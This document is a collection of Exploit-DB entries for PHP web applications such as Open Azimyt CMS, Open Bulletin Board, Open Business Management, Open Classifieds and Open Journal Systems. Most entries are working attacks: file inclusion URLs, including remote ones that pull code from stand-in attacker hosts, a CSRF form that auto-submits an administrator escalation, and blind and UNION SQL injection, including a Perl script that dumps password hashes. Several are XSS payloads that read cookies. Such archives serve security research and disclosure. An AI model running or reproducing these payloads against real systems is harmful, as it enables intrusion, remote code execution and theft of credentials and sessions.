deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5831
Description: Open Azimyt CMS 0.22 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-16
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-026


Application:                    Open Azimyt CMS
Versions Affected:              0.22 minimal, 0.21 stable
Vendor URL:                     http://azimyt.net/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       07.06.2008
Vendor Response:                08.06.2008
Solution:                       YES
Date of Public Advisory:        16.06.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script azimyt/lang/lang-system.php


Code
****
#################################################

if(isset($_GET['lang'])){
  $_SESSION['lang']=$_GET['lang'];
}

if(!isset($_SESSION['lang'])){
  $_SESSION['lang'] = "second";
}

if (isset($_SESSION['lang']))
{
  $SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php";
  if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load);
  require($SystemLangFile);
}

#################################################


Example:

http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../../../../../../../../../../../boot.ini%00



Fix Information
***************

Vendor fixed this flaw on 10.06.2008. Patch  can be downloaded here:

http://open-azimyt-cms.googlecode.com/files/security_patch.zip





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-06-16]
Exploit-DB #14562
Description: Open Blog 1.2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22496
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
Product: Open Blog
Vendor: TomaÅ¾ Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/users/edit" method="post" >
<input type="hidden" name="display_name" value="User" />
<input type="hidden" name="level" value="administrator" />
<input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="msn_messenger" value="" />
<input type="hidden" name="jabber" value="" />
<input type="hidden" name="about_me" value="about_me" />
<input type="hidden" name="id" value="2" />
<input type="submit" name="submit" id="sbmtit" value="Edit ››" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>
Exploit-DB #11336
Description: Open Bulletin Board - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-02-06
Author: AtT4CKxT3rR0r1ST

Exploit:
Open Bulletin Board Multiple Blind Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Open Bulletin Board
.:. Bug Type : Blind Sql Injection
.:. Dork : intitle:"Powered by Open Bulletin Board"

####################################################################

===[ Exploit ]===

www.site.com/board.php?FID=[Blind Injection]
www.site.com/read.php?FID=[Blind Injection]


www.site.com/board.php?FID=3+and+1=1 >>> True
www.site.com/board.php?FID=3+and+1=2 >>> False
www.site.com/board.php?FID=3+and+substring(@@version,1,1)=5 >>> True
www.site.com/board.php?FID=3+and+substring(@@version,1,1)=4 >>> False


www.site.com/read.php?FID=3+and+1=1 >>> True
www.site.com/read.php?FID=3+and+1=2 >>> False
www.site.com/read.php?FID=3+and+substring(@@version,1,1)=5 >>> True
www.site.com/read.php?FID=3+and+substring(@@version,1,1)=4 >>> False

####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #1111
Description: Open Bulletin Board 1.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2005-07-18
Author: RusH

Exploit:
#!/usr/bin/perl -w 
  
 # OpenBB sql injection 
 # tested on Open Bulletin Board 1.0.5 with mysql 
 # (c)oded by x97Rang 2005 RST/GHC 
 # Gr33tz:  __blf, 1dt.w0lf 
  
 use IO::Socket; 
  
 if (@ARGV != 3) 
 { 
    print "\nUsage: $0 [server] [path] [id]\n"; 
    print "like $0 forum.mysite.com / 1\n"; 
    print "If found nothing - forum NOT vulnerable\n\n"; 
    exit (); 
 } 
  
 $server = $ARGV[0]; 
 $path = $ARGV[1]; 
 $id = $ARGV[2]; 
  
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",  PeerPort => "80"); 
 printf $socket ("GET %sindex.php?CID=999+union+select+1,1,password,1,1,1,1,1,1,1,1,id,1+from+profiles+where+id=$id/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n", 
  $path,$server,$id); 
  
 while(<$socket>) 
 { 
     if (/\>(\w{32})\</) { print "$1\n"; } 
 }

# milw0rm.com [2005-07-18]
Exploit-DB #2341
Description: Open Bulletin Board 1.0.8 - 'ROOT_PATH' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-10
Author: Eddy_BAck0o

Exploit:
+--------------------------------------------------------------------
+
+  Open Bulletin Board 1.0.8 ; Multiple Remote File Include Vulnerabilities
+
+-------------------------------------------------------------------
+
+ Affected Software .: Software
+ Version .............:  Open Bulletin Board 1.0.8
+ Venedor ...........:   http://www.openbb.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Discovered by ..........: Eddy_BAck0o
+ Contact ...........: l0x3[at]hotmail.com
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------
+ ./index Directory ...
~ [index.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ require $root_path . "base.php"; <--- 30 - 380
+ require $root_path . "base.php"; <--- 46 - 380
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+ Ex -->
http://www.victom.com/index.php?root_path=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+
~ [collector.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ root_path = "./"; <--- 24 - 194
+ require $root_path . "base.php"; <--- 159 - 194
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+ Ex -->
http://www.victom.com/index.php?root_path=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+ Greetz LEzr.com/vB Member's ; My Team ; My Best [ MoHaJaLi ] ;....
+--------------------------------------------------------------------
+--------------------------------------------------------------------

# milw0rm.com [2006-09-10]
Exploit-DB #27998
Description: Open Business Management 1.0.3 pl1 - 'company_index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18348/info
    
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
    
    
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/company/company_index.php?action=search&tf_name=&tf_phone=&sel_kind=&sel_cat=&tf_cat_code=&cb_cat_tree=&sel_act=&sel_naf=&tf_zip=&cb_archive=&sel_market=&tf_town=&sel_ctry=&sel
_dsrc=&tf_dateafter=&tf_datebefore=[XSS]
http://obm-host/company/company_index.php?action=search&tf_name=&tf_phone=&sel_kind=&sel_cat=&tf_cat_code=&cb_cat_tree=&sel_act=&sel_naf=&tf_zip=&cb_archive=&sel_market=&tf_town=&sel_ctry=&sel
_dsrc=&tf_dateafter=[XSS]
Exploit-DB #27995
Description: Open Business Management 1.0.3 pl1 - 'group_index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18348/info
 
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
 
 
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.
 
http://obm-host/group/group_index.php?action=search&tf_name=[XSS]
http://obm-host/group/group_index.php?action=search&tf_name=&tf_user=[XSS]
Exploit-DB #27997
Description: Open Business Management 1.0.3 pl1 - 'list_index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18348/info
   
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
   
   
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/list/list_index.php?action=search&tf_name=[XSS]
http://obm-host/list/list_index.php?action=search&tf_name=&tf_contact=[XSS]
Exploit-DB #27994
Description: Open Business Management 1.0.3 pl1 - 'publication_index.php?tf_lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18348/info

Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.


An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/publication/publication_index.php?tf_title=&sel_type=_ALL_&tf_year=&tf_lang=[XSS]
Exploit-DB #27996
Description: Open Business Management 1.0.3 pl1 - 'user_index.php?tf_lastname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18348/info
  
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
  
  
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/user/user_index.php?action=search&tf_login=&tf_lastname=[XSS]
Exploit-DB #34655
Description: Open Classifieds - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-28
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43335/info

Open Classifieds is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/buy.php/?page=1>'><ScRiPt %0A%0D>alert[PII_REDACTED]15)%3B</ScRiPt>
http://www.example.com/contact.php?id=1<ScRiPt %0A%0D>alert[PII_REDACTED]34)%3B</ScRiPt>
http://www.example.com/tellafriend.php?id=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]35)%3B</ScRiPt>
Exploit-DB #36077
Description: Open Classifieds 1.7.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-23
Author: Yassin Aboukir

Exploit:
source: https://www.securityfocus.com/bid/49292/info

Open Classifieds is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Open Classifieds 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/oc172/?s="+onmouseover=alert[PII_REDACTED]15)+
Exploit-DB #2536
Description: Open Conference Systems 1.1.4 - 'fullpath' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: k1tk4t

Exploit:
#########################################################################
# Open Conference Systems <= 1.1.3 Remote File Inclusion
# Download Source : http://pkp.sfu.ca/ocs/download/ocs-1.1.3.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org
########################################################################
file ;
  theme.inc.php
  footer.inc.php
########################################################################
bugs ;
at -- theme.inc.php
 include($fullpath."themes/$theme/theme.inc.php");
at -- footer.inc.php
 include_once($fullpath."include/theme.inc.php");
########################################################################
exmple and methode exploit ;
 http://localhost/ocs/include/theme.inc.php?fullpath=http://shell/cmd.gif?
 http://localhost/ocs/include/footer.inc.php?fullpath=http://shell/cmd.gif?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-13]
Exploit-DB #37579
Description: Open Constructor - '/data/file/edit.php?result' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-04
Author: Lorenzo Cantoni

Exploit:
source: https://www.securityfocus.com/bid/54822/info
 
Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/data/file/edit.php?result=<script>aler('xss')</script>&id=new&ds_id=8&hybridid=&fieldid=&callback=&type=txt&name=test&description=test&fname=test&create=Save
Exploit-DB #37578
Description: Open Constructor - '/users/users.php?keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-04
Author: Lorenzo Cantoni

Exploit:
source: https://www.securityfocus.com/bid/54822/info

Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/users/users.php?type=multiple&keyword=<script>alert('xss')</script>
Exploit-DB #37580
Description: Open Constructor - 'confirm.php?q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-04
Author: Lorenzo Cantoni

Exploit:
source: https://www.securityfocus.com/bid/54822/info
  
Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/confirm.php?q=<script>alert('XSS')</script>skin=metallic
Exploit-DB #31948
Description: Open Digital Assets Repository System 1.0.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/29881/info

Open Digital Assets Repository System (ODARS) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

ODARS 1.0.2 is vulnerable; other versions may be affected as well. 

http://www.example.com/path/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=[SHELL]
Exploit-DB #33680
Description: Open Educational System 0.1 Beta - 'CONF_INCLUDE_PATH' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-02-28
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/38449/info

Open Educational System is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Open Educational System 0.1 beta and prior versions are vulnerable. 

http://www.example.com/[path]/admin/modules/modules/forum/admin.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/modules/plotgraph/index.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/user_account/admin_user/mod_admuser.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/user_account/ogroup/mod_group.php?CONF_INCLUDE_PATH=attacker's site
Exploit-DB #38516
Description: Open Flash Chart - 'get-data' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-05-14
Author: Deepankar Arora

Exploit:
source: https://www.securityfocus.com/bid/59928/info

Open Flash Chart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://ww.example.com/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()
Exploit-DB #34826
Description: OPEN IT OverLook 5 - 'title.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-08
Author: Anatolia Security

Exploit:
source: https://www.securityfocus.com/bid/43872/info

OverLook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OverLook 5.0 is vulnerable; prior versions may also be affected. 

<!-- -*-*- ANATOLIA SECURITY (c) 2010 -*-*- $ Title: Proof of Concept Code for OverLook v5 Cross-site Scripting Vuln. $ ADV-ID: 2010-002 $ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-002.txt $ Technical Details: http://www.anatoliasecurity.com/advisories/overlook-xss * PoC created by Eliteman ~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com ~ web: elite.anatoliasecurity.com --> <html> <head> <title> OverLook v5.0 Cross-site Scripting </title> </head> <body> <form action="http://target/overlook/title.php" method="get"> <input type="hidden" name="frame" value=""><script>alert(/1337/)</script><--"> </form> <script type="text/javascript"> document.forms[0].submit(); </script> </body> </html>
Exploit-DB #37000
Description: Open Journal Systems (OJS) 2.3.6 - '/lib/pkp/classes/core/String.inc.php?String::stripUnsafeHtml()' Method Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/52666/info
  
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
  
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
  
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

On the following URL:
http://www.example.com/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should inject malicious scripting code to the "Bio Statement" or "Abstract of Submission" fields:
<img src="x"/onerror=alert(document.cookie)>
or (browser specific):
<img style="width:expression(alert(document.cookie));"></a>
The stored XSS will be displayed here:
http://www.example.com/index.php/[submission]/author/submission/[id]